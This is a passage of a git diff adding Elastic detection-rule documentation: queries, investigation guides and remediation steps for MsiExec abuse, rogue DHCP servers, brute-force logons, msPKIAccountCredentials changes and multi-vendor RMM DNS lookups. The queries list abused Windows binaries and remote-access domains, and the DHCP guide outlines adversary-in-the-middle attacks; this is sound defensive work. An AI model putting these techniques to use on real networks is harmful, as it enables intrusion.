this attribute, excluding actions by the system account, thus highlighting unauthorized access attempts. + + +*Possible investigation steps* + + +- Review the event logs for the specific event code 5136 to gather details about the modification event, including the timestamp and the user account involved. +- Examine the winlog.event_data.SubjectUserSid field to identify the user who attempted the modification, ensuring it is not the system account (S-1-5-18). +- Investigate the history and behavior of the identified user account to determine if there are any previous suspicious activities or anomalies. +- Check for any recent changes or anomalies in the affected Active Directory User Object, focusing on the msPKIAccountCredentials attribute. +- Assess the potential impact of the modification by identifying any files or systems that may have been affected by the altered credentials. +- Correlate this event with other security alerts or logs to identify any patterns or coordinated activities that might indicate a broader attack. + + +*False positive analysis* + + +- Routine administrative tasks by IT personnel may trigger the rule. To manage this, create exceptions for specific user accounts or groups known to perform these tasks regularly. +- Scheduled maintenance scripts or automated processes that modify Active Directory attributes could be mistaken for unauthorized changes. Identify these processes and exclude their associated user accounts or service accounts from the rule. +- Software updates or installations that require changes to user credentials might cause false positives. Document these events and adjust the rule to ignore modifications during known update windows. +- Legitimate changes made by third-party applications integrated with Active Directory can be flagged. Review and whitelist these applications by excluding their associated user accounts or service accounts. +- Temporary changes during incident response or security audits may appear suspicious. Coordinate with security teams to ensure these activities are recognized and excluded from triggering alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Revoke any potentially compromised certificates and private keys associated with the affected msPKIAccountCredentials attribute to prevent misuse. +- Conduct a thorough review of recent changes in Active Directory, focusing on the msPKIAccountCredentials attribute, to identify any unauthorized modifications or access patterns. +- Reset passwords and regenerate keys for any accounts or services that may have been affected to ensure that compromised credentials are no longer valid. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the full scope of the breach. +- Implement additional monitoring on the affected systems and accounts to detect any further suspicious activity or attempts to exploit similar vulnerabilities. +- Review and update access controls and permissions in Active Directory to ensure that only authorized personnel have the ability to modify sensitive attributes like msPKIAccountCredentials. + +==== Setup + + + +*Setup* + + +Audit Directory Service Changes must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-directory-service-changes + + +==== Rule query + + +[source, js] +---------------------------------- +event.code:"5136" and host.os.type:"windows" and winlog.event_data.AttributeLDAPDisplayName:"msPKIAccountCredentials" and + winlog.event_data.OperationType:"%%14674" and + not winlog.event_data.SubjectUserSid : "S-1-5-18" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-msiexec-service-child-process-with-network-connection.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-msiexec-service-child-process-with-network-connection.asciidoc new file mode 100644 index 0000000000..8d57954e4e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-msiexec-service-child-process-with-network-connection.asciidoc @@ -0,0 +1,191 @@ +[[prebuilt-rule-8-19-36-msiexec-service-child-process-with-network-connection]] +=== MsiExec Service Child Process With Network Connection + +Identifies the execution of an MsiExec service child process followed by network or dns lookup activity. Adversaries may abuse Windows Installers for initial access and delivery of malware. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* +* logs-windows.sysmon_operational-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Threat: Installer Abuse +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 209 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating MsiExec Service Child Process With Network Connection* + + +MsiExec is a Windows utility for installing, maintaining, and removing software. Adversaries exploit it to execute malicious payloads by disguising them as legitimate installations. The detection rule identifies suspicious child processes spawned by MsiExec that initiate network activity, which is atypical for standard installations. By focusing on unusual executable paths and network connections, the rule helps uncover potential misuse indicative of malware delivery or initial access attempts. + + +*Possible investigation steps* + + +- Review the process tree to identify the parent and child processes of the suspicious MsiExec activity, focusing on the process.entity_id and process.parent.name fields to understand the execution flow. +- Examine the process.executable path to determine if it deviates from typical installation paths, as specified in the query, to assess the likelihood of malicious activity. +- Analyze the network or DNS activity associated with the process by reviewing the event.category field for network or dns events, and correlate these with the process.name to identify any unusual or unauthorized connections. +- Check the process.args for any unusual or suspicious command-line arguments that might indicate an attempt to execute malicious payloads or scripts. +- Investigate the host's recent activity and security logs to identify any other indicators of compromise or related suspicious behavior, leveraging data sources like Elastic Defend, Sysmon, or SentinelOne as mentioned in the rule's tags. +- Assess the risk and impact of the detected activity by considering the context of the alert, such as the host's role in the network and any potential data exposure or system compromise. + + +*False positive analysis* + + +- Legitimate software installations or updates may trigger the rule if they involve network activity. Users can create exceptions for known software update processes that are verified as safe. +- Custom enterprise applications that use MsiExec for deployment and require network access might be flagged. Identify these applications and exclude their specific executable paths from the rule. +- Automated deployment tools that utilize MsiExec and perform network operations could be misidentified. Review these tools and whitelist their processes to prevent false alerts. +- Security software or system management tools that leverage MsiExec for legitimate purposes may cause false positives. Confirm these tools' activities and add them to an exclusion list if necessary. +- Regularly review and update the exclusion list to ensure it reflects the current environment and any new legitimate software that may interact with MsiExec. + + +*Response and remediation* + + +- Isolate the affected system from the network immediately to prevent further malicious activity and lateral movement. +- Terminate the suspicious child process spawned by MsiExec to halt any ongoing malicious operations. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malicious payloads or remnants. +- Review and analyze the process execution and network activity logs to identify any additional indicators of compromise (IOCs) and assess the scope of the intrusion. +- Reset credentials and review access permissions for any accounts that may have been compromised or used during the attack. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and detection rules to identify similar threats in the future, focusing on unusual MsiExec activity and network connections. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/sysmon-event-3-setup[Sysmon Event ID 3 - Network Connection] + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=1m + [process where host.os.type == "windows" and event.type : "start" and + process.parent.name : "msiexec.exe" and process.parent.args : "/v" and + not process.executable : + ("?:\\Windows\\System32\\msiexec.exe", + "?:\\Windows\\sysWOW64\\msiexec.exe", + "?:\\Windows\\system32\\srtasks.exe", + "?:\\Windows\\syswow64\\srtasks.exe", + "?:\\Windows\\sys*\\taskkill.exe", + "?:\\Program Files\\*.exe", + "?:\\Program Files (x86)\\*.exe", + "?:\\Windows\\Installer\\MSI*.tmp", + "?:\\Windows\\Microsoft.NET\\Framework*\\RegSvcs.exe", + "C:\\Windows\\System32\\regsvr32.exe", + "C:\\Windows\\Sys?????\\certutil.exe", + "C:\\Windows\\System32\\WerFault.exe", + "C:\\Windows\\System32\\wevtutil.exe", + "C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe") and + not ( + ( + process.name : ("rundll32.exe", "regsvr32.exe", "powershell.exe", "regasm.exe", "wscript.exe") and + process.args : ("?:\\Program Files\\*", "?:\\Program Files (x86)\\*") + ) or + ( + ?process.code_signature.subject_name : ( + "Bruno Software Inc", "Proton AG", "Axis Communications AB", "Citrix Systems, Inc.", "NSUS Limited", + "Action1 Corporation", "Solarwinds Worldwide, LLC") and + ?process.code_signature.trusted == true + ) or + ( + ?process.pe.original_file_name in ("dxsetup.exe", "MofCompiler.exe", "ShellApp.exe") and + ?process.code_signature.subject_name : "Microsoft Corporation" and + ?process.code_signature.trusted == true + ) or + ( + ?process.hash.sha256 in ( + "cfaef8c711db04d6c4a4381c66ac21b9e234e57febedb77fedc9316898b214bc", + "2f26f37cce780ca76f0dbac0de233f4c8d84c31b3f37380b9d5faacc3ee2d03e", + "7d9c691bfbf3beb78919dfd940fa6d325c3437425d5b0371df39aef6accf858d" + ) + ) + )] +[network where host.os.type == "windows" and process.name != null and + not dns.question.name : ("core.bdec.microsoft.com", "go.microsoft.com", "ocsp.digicert.com", "localhost", "www.google-analytics.com", + "ocsp.verisign.com", "*.symcb.com")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Msiexec +** ID: T1218.007 +** Reference URL: https://attack.mitre.org/techniques/T1218/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-multiple-dhcp-servers-responding-to-the-same-transaction.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-multiple-dhcp-servers-responding-to-the-same-transaction.asciidoc new file mode 100644 index 0000000000..0dbfb5d2dc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-multiple-dhcp-servers-responding-to-the-same-transaction.asciidoc @@ -0,0 +1,172 @@ +[[prebuilt-rule-8-19-36-multiple-dhcp-servers-responding-to-the-same-transaction]] +=== Multiple DHCP Servers Responding to the Same Transaction + +Identifies two or more distinct DHCP servers sending an OFFER or ACK for the same transaction ID (xid) within a short window, indicating a rogue DHCP server racing the legitimate one to win the client's handshake. This is the rogue-DHCP / adversary-in-the-middle precondition (T1557.003) and is operating-system agnostic, since it keys only on server behavior observed on the wire. Winning the race lets an attacker intercept traffic via a hostile gateway/DNS, bypass a VPN (TunnelVision), or deliver a malformed response that exploits the client's DHCP parser for code execution. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://nvd.nist.gov/vuln/detail/CVE-2026-44815 +* https://nvd.nist.gov/vuln/detail/CVE-2024-3661 +* https://www.leviathansecurity.com/blog/tunnelvision +* https://nvd.nist.gov/vuln/detail/CVE-2018-5732 +* https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-44815 + +*Tags*: + +* Domain: Network +* Domain: Endpoint +* Use Case: Threat Detection +* Use Case: Vulnerability +* Use Case: Network Security Monitoring +* Tactic: Credential Access +* Tactic: Execution +* Data Source: Network Traffic +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast +* Profile: Recommended +* Threat: Vulnerability Exploit +* Rule Type: ES|QL +* Data Source: Network Packet Capture + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Multiple DHCP Servers Responding to the Same Transaction* + + +DHCP is plaintext UDP and fully visible to any sensor on the broadcast segment. A rogue server (or an injected response +on the victim's L2 broadcast domain) that answers a transaction the legitimate server already owns is the defining +precondition for DHCP-based adversary-in-the-middle and for malformed-option client exploits. This rule flags exactly +that: two or more distinct server source IPs producing an OFFER/ACK for one transaction ID inside the same 30-second +window, and is operating-system agnostic, since it keys only on server behavior observed on the wire. + + +*Possible investigation steps* + + +- Identify the server source IPs in `Esql.values_server_ips` and `Esql.values_server_identifiers`. Determine which is + the sanctioned DHCP server and which is unexpected. +- Locate the rogue server on the segment (switch CAM/ARP tables, port, VLAN). It is on the same broadcast domain as the + victim by definition. +- Inspect the rogue OFFER/ACK options for an oversized or malformed payload (the overflow trigger) and for hostile + configuration such as an attacker-controlled default gateway (option 3), DNS server (option 6), WPAD/proxy + auto-config (option 252), or classless static routes (option 121, TunnelVision-style VPN bypass). +- Identify the client(s) acquiring leases on the segment (any OS, including Windows, Linux, macOS, iOS, IoT) and review their + endpoint telemetry for DHCP client service crashes, unexpected route/DNS/gateway changes, or follow-on code execution. + Where the target OS and DHCP client are known, check whether they are unpatched for the relevant CVE (e.g. + CVE-2026-44815 on Windows, CVE-2018-5732 on ISC dhclient). + + +*False positive analysis* + + +- DHCP failover pairs (Microsoft or ISC) are designed so that, for a given transaction, only one peer answers; two + peers answering the same xid within 30 seconds is not normal failover behavior. If a known active-active or + load-balancing architecture genuinely does this, add its server IPs to an exception. +- DHCP relay agents forward responses but the relayed source is the relay, and a single server still owns each + transaction. Anycast/VIP DHCP designs that present multiple real backend IPs on the wire are rare and would be a known + architectural fact, which can be excepted by those IPs. + + +*Response and remediation* + + +- Remove the rogue DHCP server from the segment, then patch the affected client DHCP stacks (e.g. June 2026 Patch + Tuesday for CVE-2026-44815 on Windows, or the fixed ISC dhclient for CVE-2018-5732 on Linux/Unix). +- Enable DHCP snooping on managed switches and restrict DHCP server responses to authorized server ports/MACs as a + compensating control, which protects clients of every OS and also mitigates TunnelVision-style route injection. + + +==== Setup + + + +*Setup* + + +This rule requires the Elastic network_traffic (Packetbeat) integration capturing DHCP (UDP 67/68) on the broadcast +segment where clients acquire/renew leases, either Packetbeat running on the segment or a SPAN/mirror feeding it. A +sensor not on the same L2 broadcast domain (or not behind the relevant DHCP relay) will not observe competing OFFER/ACK +packets. + +Zeek is intentionally not supported: the zeek.dhcp data stream does not expose a transaction ID and aggregates a full +DORA exchange into one record, so the per-transaction server-count comparison cannot be expressed on it. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-network_traffic.dhcpv4-*, packetbeat-* +| eval + message_type = TO_LOWER(COALESCE(network_traffic.dhcpv4.option.message_type, dhcpv4.option.message_type)), + Esql.transaction_id = COALESCE(network_traffic.dhcpv4.transaction_id, dhcpv4.transaction_id), + server_identifier = COALESCE(network_traffic.dhcpv4.option.server_identifier, dhcpv4.option.server_identifier) +| where message_type in ("offer", "ack") and Esql.transaction_id is not null and source.ip is not null +| eval Esql.time_window = DATE_TRUNC(30 seconds, @timestamp) +| stats + Esql.count_distinct_servers = COUNT_DISTINCT(source.ip), + Esql.values_server_ips = VALUES(source.ip), + Esql.values_server_identifiers = VALUES(server_identifier), + Esql.count_replies = COUNT(*) + by Esql.time_window, Esql.transaction_id +| where Esql.count_distinct_servers >= 2 +| keep Esql.transaction_id, Esql.time_window, Esql.count_distinct_servers, Esql.values_server_ips, Esql.values_server_identifiers, Esql.count_replies + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Adversary-in-the-Middle +** ID: T1557 +** Reference URL: https://attack.mitre.org/techniques/T1557/ +* Sub-technique: +** Name: DHCP Spoofing +** ID: T1557.003 +** Reference URL: https://attack.mitre.org/techniques/T1557/003/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-multiple-logon-failure-from-the-same-source-address.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-multiple-logon-failure-from-the-same-source-address.asciidoc new file mode 100644 index 0000000000..f99ca8684d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-multiple-logon-failure-from-the-same-source-address.asciidoc @@ -0,0 +1,183 @@ +[[prebuilt-rule-8-19-36-multiple-logon-failure-from-the-same-source-address]] +=== Multiple Logon Failure from the same Source Address + +Identifies multiple consecutive logon failures from the same source address and within a short time interval. Adversaries will often brute force login attempts across multiple users with a common or known password, in an attempt to gain access to accounts. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4625 +* https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=4624 +* https://social.technet.microsoft.com/Forums/ie/en-US/c82ac4f3-a235-472c-9fd3-53aa646cfcfd/network-information-missing-in-event-id-4624?forum=winserversecurity +* https://serverfault.com/questions/379092/remote-desktop-failed-logon-event-4625-not-logging-ip-address-on-2008-terminal-s/403638#403638 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Data Source: Windows Security Event Logs +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Brute Force +* Rule Type: ES|QL +* Platform: Windows +* Resources: Osquery + +*Version*: 121 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Multiple Logon Failure from the same Source Address* + + +Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to guess the password using a repetitive or iterative mechanism systematically. More details can be found https://attack.mitre.org/techniques/T1110/001/[here]. + +This rule identifies potential password guessing/brute force activity from a single address. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the logon failure reason code and the targeted user names. + - Prioritize the investigation if the account is critical or has administrative privileges over the domain. +- Investigate the source IP address of the failed Network Logon attempts. + - Identify whether these attempts are coming from the internet or are internal. +- Investigate other alerts associated with the involved users and source host during the past 48 hours. +- Identify the source and the target computer and their roles in the IT environment. +- Check whether the involved credentials are used in automation or scheduled tasks. +- If this activity is suspicious, contact the account owner and confirm whether they are aware of it. +- Examine the source host for derived artifacts that indicate compromise: + - Observe and collect information about the following activities in the alert source host: + - Attempts to contact external domains and addresses. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the host which is the source of this activity + + +*False positive analysis* + + +- Understand the context of the authentications by contacting the asset owners. This activity can be related to a new or existing automation or business process that is in a failing state. +- Authentication misconfiguration or obsolete credentials. +- Service account password expired. +- Domain trust relationship issues. +- Infrastructure or availability issues. + + +*Related rules* + + +- Multiple Logon Failure Followed by Logon Success - 4e85dc8a-3e41-40d8-bc28-91af7ac6cf60 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the source host to prevent further post-compromise behavior. +- If the asset is exposed to the internet with RDP or other remote services available, take the necessary measures to restrict access to the asset. If not possible, limit the access via the firewall to only the needed IP addresses. Also, ensure the system uses robust authentication mechanisms and is patched regularly. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +Audit Logon must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-logon + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-system.security*, logs-windows.forwarded*, winlogbeat-* metadata _id, _version, _index +| where event.category == "authentication" and host.os.type == "windows" and event.action == "logon-failed" and + winlog.logon.type == "Network" and source.ip is not null and winlog.computer_name is not null and + not cidr_match(TO_IP(source.ip), "127.0.0.0/8", "::1") and + not user.name in ("ANONYMOUS LOGON", "-") and not user.name like "*$" and user.domain != "NT AUTHORITY" and + /* + noisy failure status codes often associated to authentication misconfiguration + 0xC000015B - The user has not been granted the requested logon type (also called the logon right) at this machine. + 0XC000005E - There are currently no logon servers available to service the logon request. + 0XC0000133 - Clocks between DC and other computer too far out of sync. + 0XC0000192 An attempt was made to logon, but the Netlogon service was not started. + 0xc00000dc - DC is in shutdown phase, it will normally tell current clients to use another DC for authentication. + */ + not winlog.event_data.Status in ("0xc000015b", "0xc000005e", "0xc0000133", "0xc0000192", "0xc00000dc") +// truncate the timestamp to a 60-second window +| eval Esql.time_window = date_trunc(60 seconds, @timestamp) +| stats Esql.failed_auth_count = COUNT(*), + Esql.count_distinct_target_user_name = count_distinct(to_lower(winlog.event_data.TargetUserName)), + Esql.target_user_name_values = VALUES(winlog.event_data.TargetUserName), + Esql.user_domain_values = VALUES(user.domain), + Esql.error_codes = VALUES(winlog.event_data.Status), + Esql.data_stream_namespace.values = VALUES(data_stream.namespace) by winlog.computer_name, source.ip, Esql.time_window, winlog.logon.type +| where Esql.failed_auth_count >= 100 and Esql.count_distinct_target_user_name >= 2 +| eval user.name = MV_FIRST(Esql.target_user_name_values) +| KEEP winlog.computer_name, source.ip, user.name, Esql.time_window, winlog.logon.type, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Guessing +** ID: T1110.001 +** Reference URL: https://attack.mitre.org/techniques/T1110/001/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-multiple-rmm-vendors-queried-by-a-single-dns-client.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-multiple-rmm-vendors-queried-by-a-single-dns-client.asciidoc new file mode 100644 index 0000000000..5c74540d0f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-multiple-rmm-vendors-queried-by-a-single-dns-client.asciidoc @@ -0,0 +1,236 @@ +[[prebuilt-rule-8-19-36-multiple-rmm-vendors-queried-by-a-single-dns-client]] +=== Multiple RMM Vendors Queried by a Single DNS Client + +Identifies a DNS client that queries infrastructure associated with two or more distinct Remote Monitoring and Management (RMM) vendors during the same short rule window. Multiple RMM products on one endpoint can indicate attacker staging, redundant persistence, or unauthorized remote access. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 8m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1219/ +* https://attack.mitre.org/techniques/T1219/002/ +* https://github.com/magicsword-io/LOLRMM/ +* https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-025a +* https://www.elastic.co/security-labs/tollbooth +* https://www.proofpoint.com/us/blog/threat-insight/remote-monitoring-and-management-rmm-tooling-increasingly-attackers-first-choice + +*Tags*: + +* Domain: Network +* Use Case: Network Security Monitoring +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Fortinet FortiGate +* Data Source: Network Packet Capture +* Data Source: Network Traffic +* Data Source: Suricata +* Data Source: Zeek +* Noise: Unknown +* Resources: Investigation Guide +* Rule Type: ES|QL +* Threat: Remote Management Tool Abuse + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Multiple RMM Vendors Queried by a Single DNS Client* + + +Adversaries frequently use legitimate RMM products for remote command execution and persistence. Observing two or more +different RMM vendor families from one DNS client in a short period can indicate an attacker testing tools, adding a +fallback access channel, or operating on a host that already has approved management software. + +This rule maps related products, aliases, and rebrands to one vendor label so that multiple domains from the same product +do not inflate `Esql.rmm_vendor_count`. The alert does not prove that the tools were installed or used maliciously. + + +*Possible investigation steps* + + +- Review `Esql.client_ip`, `Esql.rmm_vendor_values`, `Esql.dns_question_name_values`, + `Esql.dns_registered_domain_values`, `Esql.event_count`, `Esql.first_seen`, and `Esql.last_seen`. +- Confirm whether `Esql.client_ip` identifies an endpoint. Recursive resolvers, forwarders, NAT, and sensor placement can + combine multiple endpoints under one address. +- Resolve the client to an asset and owner using DHCP, asset inventory, endpoint telemetry, or network session context. +- Determine whether every observed RMM vendor is approved for the asset and whether a migration, support case, or + managed-service workflow explains the overlap. +- Correlate with the endpoint rule "Multiple Remote Management Tool Vendors on Same Host" and with first-time RMM process + or DNS rules when endpoint telemetry is available. +- Review process, service, file, and persistence events for installers or RMM binaries. Pay particular attention to + execution from user-writable directories, suspicious parent processes, unsigned binaries, and unattended-access + configuration. +- Search surrounding DNS and TLS activity for self-hosted relay domains, download infrastructure, or additional remote + access products not represented in the alert. +- Investigate precursor activity such as phishing, browser downloads, script execution, or credential compromise and + follow-on activity such as lateral movement or data staging. + + +*False positive analysis* + + +- MSP and helpdesk assets may use a monitoring platform plus a separate remote-support product. +- Product migrations and acquisitions can create temporary overlap between old and new agents. +- Software inventory, sandbox, and security research systems can query multiple vendor domains without installing them. +- Browser activity can contribute one of the vendor matches because passive DNS has no process attribution. +- Create exceptions only after confirming the client identity and expected vendor combination. Prefer a narrow + client-address or asset-group plus vendor-pair exception over suppressing one vendor globally. + + +*Response and remediation* + + +- Preserve DNS, network, process, service, installer, account, and persistence evidence before containment. +- If unauthorized remote access is active or likely, isolate the endpoint and revoke remote sessions. +- Remove unauthorized RMM tools and persistence, rotate exposed credentials, and block confirmed unauthorized domains or + relays where policy permits. +- Review other endpoints querying the same vendor combination to determine whether the activity is a deployment, + migration, or broader intrusion. +- Enforce an approved-RMM policy and retain telemetry that connects DNS activity to endpoint processes and asset owners. + + +==== Setup + + + +*Setup* + + +This rule requires DNS transaction events from one of the following DNS telemetry sources: + +- Elastic Network Packet Capture (`network_traffic.dns`) in `logs-network_traffic.dns-*` +- Fortinet FortiGate DNS logs (`fortinet_fortigate.log`) in `logs-fortinet_fortigate.log-*` +- Suricata EVE DNS events (`suricata.eve`) in `logs-suricata.eve-*` +- Zeek (`zeek.dns`) in `logs-zeek.dns-*` +- Legacy Packetbeat DNS events in `packetbeat-*` with `event.dataset` set to `dns` + +Place the sensor where it observes endpoint-to-resolver DNS traffic. If the sensor is upstream of a recursive resolver, +`Esql.client_ip` may identify the resolver and combine queries from many endpoints, producing false multi-vendor +correlations. Exclude validated resolver addresses or deploy the sensor on client-facing segments. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-fortinet_fortigate.log-*, logs-network_traffic.dns-*, logs-suricata.eve-*, logs-zeek.dns-*, packetbeat-* +| where ( + data_stream.dataset in ("fortinet_fortigate.log", "network_traffic.dns", "suricata.eve", "zeek.dns") + or event.dataset == "dns" + ) + and dns.question.name is not null + and dns.question.registered_domain is not null +| eval + Esql.client_ip = source.ip, + Esql.dataset = COALESCE(data_stream.dataset, event.dataset), + Esql.dns_question_name = REPLACE(TO_LOWER(dns.question.name), """\.$""", ""), + Esql.dns_registered_domain = REPLACE(TO_LOWER(dns.question.registered_domain), """\.$""", "") +| where Esql.client_ip is not null +| eval Esql.rmm_vendor = CASE( + Esql.dns_registered_domain == "action1.com", "Action1", + Esql.dns_registered_domain == "anydesk.com", "AnyDesk", + Esql.dns_registered_domain == "atera.com", "Atera", + Esql.dns_registered_domain in ("beyondtrustcloud.com", "bomgar.com", "bomgarcloud.com"), "BeyondTrust", + 